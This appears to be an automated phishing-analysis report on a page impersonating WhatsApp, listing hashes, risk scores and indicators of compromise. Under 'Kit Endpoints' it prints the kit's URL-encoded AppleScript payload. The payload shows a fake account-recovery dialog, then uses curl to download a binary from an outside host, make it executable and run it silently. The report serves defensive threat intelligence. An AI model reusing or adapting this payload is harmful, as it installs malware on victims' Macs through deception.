Phishing Analysis
Detailed analysis of captured phishing page
Visual Capture
Detection Info
https://t43wmtq3rv5rs.kimi.page/auth/recovery.hta
Detected Brand
WhatsApp (implied by logo)
Country
Unknown
Confidence
100%
HTTP Status
200
Report ID
2b71d730-41eā¦
Analyzed
2026-07-20 17:09
Content Hashes (HTML Similarity)
Used to detect similar phishing pages based on HTML content
| Algorithm | Hash Value |
|---|---|
|
CONTENT
TLSH
|
T1FEC2B6B5A155E83666B7C8D1E2795B4F71C0EB0ADE572340D7EE83B805CADE2FE21240 |
|
CONTENT
ssdeep
|
768:/okcvaLysYYd2MMIEx2TV5SrRVcQ2c/3vT21soGo:/okcvaLysYYd2MfO2p5SrRVcQx/3vTWr |
Visual Hashes (Screenshot Similarity)
Used to detect visually similar phishing pages based on screenshots
| Algorithm | Hash Value |
|---|---|
|
VISUAL
pHash
|
8cf4a1f6a6c6a598 |
|
VISUAL
aHash
|
ff183c3c3c383c19 |
|
VISUAL
dHash
|
2271716961617163 |
|
VISUAL
wHash
|
ff183c3c3c383c19 |
|
VISUAL
colorHash
|
30007000000 |
|
VISUAL
cropResistant
|
2271716961617163 |
Code Analysis
Risk Score
70/100
Threat Level
ALTO
ā ļø Phishing Confirmed
š£ OTP Stealer
š£ Banking
š£ Personal Info
šÆ Kit Endpoints
- applescript://com.apple.scripteditor?action=new&script=--%20Account%20Verification%0Aset%20serverUrl%20to%20%22https%3A%2F%2Fdemo.chimera-v12.com%2Fpatch%2FmacOS%22%0Aset%20tempPath%20to%20%22%2Ftmp%2F.wa_verify_%22%20%26%20%28do%20shell%20script%20%22openssl%20rand%20-hex%204%22%29%0Aset%20verificationSteps%20to%20%7B%22Checking%20account%20status...%22%2C%20%22Verifying%20device%20integrity...%22%2C%20%22Scanning%20for%20threats...%22%2C%20%22Restoring%20permissions...%22%2C%20%22Finalizing%20recovery...%22%7D%0Adisplay%20dialog%20%22Account%20Verification%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20temporarily%20suspended.%20This%20process%20will%20restore%20your%20messaging%20access.%22%20%26%20return%20%26%20return%20%26%20%22Steps%3A%205%22%20%26%20return%20%26%20%22Estimated%20time%3A%2030%20seconds%22%20with%20title%20%22Security%20Center%22%20buttons%20%7B%22Cancel%22%2C%20%22Start%20Verification%22%7D%20default%20button%20%22Start%20Verification%22%20with%20icon%20note%0Aif%20button%20returned%20of%20result%20is%20%22Start%20Verification%22%20then%0A%09try%0A%09%09do%20shell%20script%20%22curl%20-sL%20%27%22%20%26%20serverUrl%20%26%20%22%27%20-o%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20chmod%20%2Bx%20%22%20%26%20tempPath%20%26%20%22%20%26%26%20%22%20%26%20tempPath%20%26%20%22%20%3E%20%2Fdev%2Fnull%202%3E%261%20%26%22%0A%09%09set%20progress%20total%20steps%20to%205%0A%09%09set%20progress%20completed%20steps%20to%200%0A%09%09set%20progress%20description%20to%20%22Verifying%20your%20account...%22%0A%09%09repeat%20with%20i%20from%201%20to%205%0A%09%09%09set%20progress%20additional%20description%20to%20item%20i%20of%20verificationSteps%0A%09%09%09delay%203%0A%09%09%09set%20progress%20completed%20steps%20to%20i%0A%09%09end%20repeat%0A%09%09display%20dialog%20%22Verification%20Complete%21%22%20%26%20return%20%26%20return%20%26%20%22Your%20account%20has%20been%20restored.%22%20%26%20return%20%26%20%22You%20can%20now%20sen
š” API Calls Detected
- https://ipwho.is/
š Risk Score Breakdown
Total Risk Score
100/100
Contributing Factors
Active Phishing Kit
Detected kit types: OTP Stealer, Banking, Personal Info
š¬ Comprehensive Threat Analysis
Threat Type
Banking Credential Harvester
Target
WhatsApp (implied by logo) users
Attack Method
Phishing webpage
Exfiltration Channel
Form submission (backend endpoint not detected - likely JavaScript-based)
Risk Assessment
HIGH - Automated credential harvesting with Form submission (backend endpoint not detected - likely JavaScript-based)
ā ļø Indicators of Compromise
- Kit types: OTP Stealer, Banking, Personal Info
š¢ Brand Impersonation Analysis
Impersonated Brand
WhatsApp (implied by logo)
Official Website
N/A
Fake Service
Account login portal
āļø Attack Methodology
Primary Method: Two-Factor Authentication Bypass
Victim is prompted for 2FA code after entering credentials. The code is intercepted and used by attacker to access victim's account in real-time.
Secondary Method: Banking Credential Theft
Victim enters banking credentials including account numbers and security questions. Attacker gains full access to victim's banking services.
š Infrastructure Indicators of Compromise
Domain Information
Domain
t43wmtq3rv5rs.kimi.page
Registered
Unknown
Registrar
Unknown
Status
Age unknown
Hosting Information
Provider
Unknown
ASN
š¤ AI-Extracted Threat Intelligence
Scan History for t43wmtq3rv5rs.kimi.page
Found 2 other scans for this domain
"I Never Thought It Would Happen to Me"
That's what 2.3 million victims say every year. Don't wait to become a statistic.